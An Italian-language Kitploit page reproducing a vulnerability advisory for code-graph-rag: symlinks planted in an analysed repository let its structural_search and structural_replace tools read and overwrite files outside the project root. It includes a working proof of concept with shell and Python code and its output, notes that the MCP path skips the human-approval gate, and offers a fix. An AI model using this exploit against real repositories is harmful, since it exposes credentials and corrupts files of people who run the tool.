Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
code-graph-rag-PoC — PoC — symlink following per lettura/scrittura arbitraria di file al di fuori della root del progetto in code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1). | Kitploit
Strumenti/GitHubGitHub/squeeze440/code-graph-rag-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — symlink following per lettura/scrittura arbitraria di file al di fuori della root del progetto in code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).

Vedi Repository
7 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

code-graph-rag: avviso di sicurezza

Stato CVE: richiesto, in attesa di assegnazione. Questa segnalazione è pubblicata come GHSA-85gg-2gfq-q95m. All'assegnazione del CVE questo repository viene rinominato CVE-YYYY-NNNNN-code-graph-rag-PoC e questo banner viene sostituito con il link al CVE.

RicercatoreDostxodjayev Abdullox (@squeeze440)
AvvisoGHSA-85gg-2gfq-q95m
CVSS 3.17.1 (Alto)
DebolezzaCWE-59, CWE-22

Sintesi

Un attaccante remoto/locale in grado di far includere un collegamento simbolico in un repository di codice sorgente che code-graph-rag analizza può causare l'accesso in lettura e — tramite structural_replace con dry_run=False — la sovrascrittura di file arbitrari al di fuori della root di progetto configurata da parte degli strumenti structural_search e structural_replace (supportati da AstGrepService, esposti sia come strumenti MCP sia come strumenti AI agentici), poiché il controllo di contenimento del percorso dello strumento (should_skip_path/_classify_file) viene eseguito lessicalmente sul percorso non risolto e non verifica mai Path.is_symlink() né chiama .resolve(), a differenza del decoratore validate_project_path (corretto) usato altrove nel progetto stesso.

Prodotto

vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)

Versione testata

Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (versione pyproject 0.0.550) — main corrente al momento del test. Confermato che questo commit contiene già la correzione per l'avviso precedente (GHSA-vvr2-h2jp-838m: path traversal in read_file paginato) e il più recente gate di autenticazione bearer per HTTP-MCP (_validate_http_exposure in codebase_rag/mcp/server.py), quindi questo è un problema distinto, ancora aperto, al di sopra di tali correzioni.

CVSS v3.1 stimato

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (Alto)

Metriche non ovvie:

  • AV:L — la falla è sfruttabile puramente attraverso l'uso principale locale/CLI/stdio-MCP dello strumento (analisi di un repository contenente un collegamento simbolico impiantato); non dipende dal trasporto HTTP MCP opzionale, ora protetto da token bearer, quindi il vettore di base è valutato sulla superficie locale sempre presente anziché presumere un deployment remoto.
  • UI:R — l'attaccante fornisce il repository malevolo (il collegamento simbolico), ma una parte separata (un utente, o un agente AI che agisce per suo conto) deve effettivamente eseguire structural_search/structural_replace su quel progetto perché la lettura/scrittura si attivi.
  • A:N — è stata dimostrata la sovrascrittura arbitraria del contenuto di un file; non è stata dimostrata alcuna catena di crash/DoS di sistema, quindi la Disponibilità è valutata conservativamente come None anziché presunta.

Dettagli

AstGrepService (codebase_rag/tools/ast_grep_service.py) supporta sia gli strumenti MCP/agentici structural_search sia structural_replace. Enumera i file candidati con os.walk() e filtra ogni percorso solo attraverso should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — percorre self.project_root con os.walk(); ogni dirent non-directory restituito da os.walk (incluso un collegamento simbolico che punta ovunque sul disco) viene trattato come un file in ambito.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — l'unico controllo di contenimento è should_skip_path(...) seguito da abs_path.relative_to(self.project_root) (riga 82); abs_path non viene mai risolto, quindi questo controllo è puramente lessicale/basato su stringhe.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) e codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — calcola rel_path = file_path.relative_to(repo_path) senza mai chiamare .resolve() o Path.is_symlink(). Nulla in questa funzione tratta un collegamento simbolico diversamente da un file reale.
  • Sink di lettura: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) chiama path.read_text(), che Python segue attraverso il collegamento simbolico fino al suo target reale, indipendentemente da dove risieda quel target.
  • Sink di scrittura: codebase_rag/tools/ast_grep_service.py:187-208 (replace), in particolare la riga 208 — abs_path.write_text(new_source, ...) quando dry_run=False, seguendo nuovamente il collegamento simbolico e sovrascrivendo il contenuto del file target reale.

Ciò è incoerente con il modo in cui il resto del codebase gestisce esattamente la stessa classe di rischio. Gli strumenti di lettura/scrittura/modifica file (file_reader.py, file_writer.py, file_editor.py) sono tutti protetti da validate_project_path (codebase_rag/decorators.py:73-75):

root@kitploit:~
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() segue i collegamenti simbolici prima che venga eseguito il controllo di contenimento, quindi quegli strumenti rifiutano correttamente un target fuori dalla root. Lo stesso absolute_path_within_project_root() di path_utils.py (codebase_rag/utils/path_utils.py:156-176) documenta esplicitamente lo stesso principio nella sua docstring: "Le chiamate a resolve() sono portanti: il contenimento è verificato lessicalmente, quindi un segmento .. non risolto o un collegamento simbolico sfuggirebbe alla root." — ma should_skip_path()/AstGrepService, usati da structural_search/structural_replace, non applicano mai quel pattern.

Raggiungibilità / esposizione dei due strumenti:

  • structural_search (codebase_rag/tools/structural_search.py:24-46) non porta alcun flag requires_approval — il modello di un client MCP può chiamarlo autonomamente senza conferma umana.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57) è contrassegnato con requires_approval=True, ma quel flag è applicato solo dal loop dell'agente di pydantic-ai stesso. Il percorso del server MCP lo aggira completamente: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) chiama direttamente self._structural_editor_tool.function(...), e lo strumento MCP è registrato senza alcun concetto di approvazione in codebase_rag/mcp/tools.py:369-388 (ToolMetadata per MCPToolName.STRUCTURAL_REPLACE) — qualsiasi client MCP in grado di chiamare strumenti può invocare structural_replace con dry_run=False in un colpo solo.

Proof of Concept

Confermato dinamicamente contro il pacchetto installato (mgclient/pymgclient mockati esattamente come nel PoC dell'avviso precedente, poiché il client nativo Memgraph non è necessario per questo percorso di codice).

root@kitploit:~
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
root@kitploit:~
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Output dell'esecuzione effettiva (/tmp/poc_venv, pacchetto installato tramite pip install --no-deps -e . dal commit testato):

root@kitploit:~
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Nessuno screenshot — questa è una segnalazione puramente a livello di libreria/CLI senza componente browser/GUI.

Impatto

Qualsiasi operatore che punti cgr (CLI, modalità agentica ask_agent, o strumenti MCP structural_search/structural_replace) verso un repository che non ha completamente verificato — esattamente il caso d'uso per cui questo strumento è costruito ("interrogare, comprendere e modificare codebase multi-linguaggio") — può vedere il collegamento simbolico impiantato in quel repository utilizzato per:

  • Divulgare il contenuto di qualsiasi file leggibile dal processo cgr (credenziali, chiavi SSH, file .env, codice sorgente di progetti adiacenti), tramite structural_search, senza alcun gate di approvazione.
  • Sovrascrivere il contenuto di qualsiasi file scrivibile dal processo cgr, tramite structural_replace(dry_run=False), aggirando il gate di approvazione dello strumento stesso quando chiamato attraverso il protocollo MCP.

Questa è la stessa classe di bug "contenuto malevolo nella codebase analizzata che sfugge a project_root" di GHSA-vvr2-h2jp-838m, ma con una causa radice distinta (mancata risoluzione dei collegamenti simbolici in AstGrepService/should_skip_path, CWE-59) e un sink distinto e più grave (scrittura arbitraria, non solo lettura) in un componente diverso (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, non il read_file paginato di codebase_rag/mcp/tools.py). Non si sovrappone agli intervalli di righe vulnerabili né alla correzione dell'avviso precedente.

Debolezze

  • CWE-59: Risoluzione impropria dei collegamenti prima dell'accesso ai file ('Link Following') — causa radice primaria.
  • CWE-22: Limitazione impropria di un percorso a una directory ristretta ('Path Traversal') — la conseguente evasione dalla root di progetto.

Remediation

Applicare lo stesso pattern resolve-then-contain già usato da validate_project_path (codebase_rag/decorators.py:73-75) e absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) a should_skip_path. Rifiutare qualsiasi percorso la cui posizione risolta (seguendo i collegamenti simbolici) sfugga alla root di progetto risolta, anziché controllare solo la stringa del percorso non risolto:

root@kitploit:~
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

Concretamente: questa singola modifica in should_skip_path corregge sia _classify_file (search) sia il filtraggio os.walk in _iter_source_files (replace), poiché entrambi passano attraverso di essa. Come difesa in profondità, _iter_source_files potrebbe inoltre saltare del tutto i dirent con collegamenti simbolici (entry.is_symlink()) durante l'os.walk, poiché uno strumento di analisi del codice guidato dall'AI non dovrebbe mai aver bisogno di attraversare al di fuori della root indicizzata in primo luogo.

Riconoscimento

Dostxodjayev Abdullox (GitHub: squeeze440)

Canale di segnalazione

Il Private Vulnerability Reporting (PVR) è confermato abilitato su vitali87/code-graph-rag; questa segnalazione è destinata alla presentazione attraverso quel canale (GitHub Security Advisories), coerentemente con l'avviso già pubblicato del repository (GHSA-vvr2-h2jp-838m).

Scarica lo strumento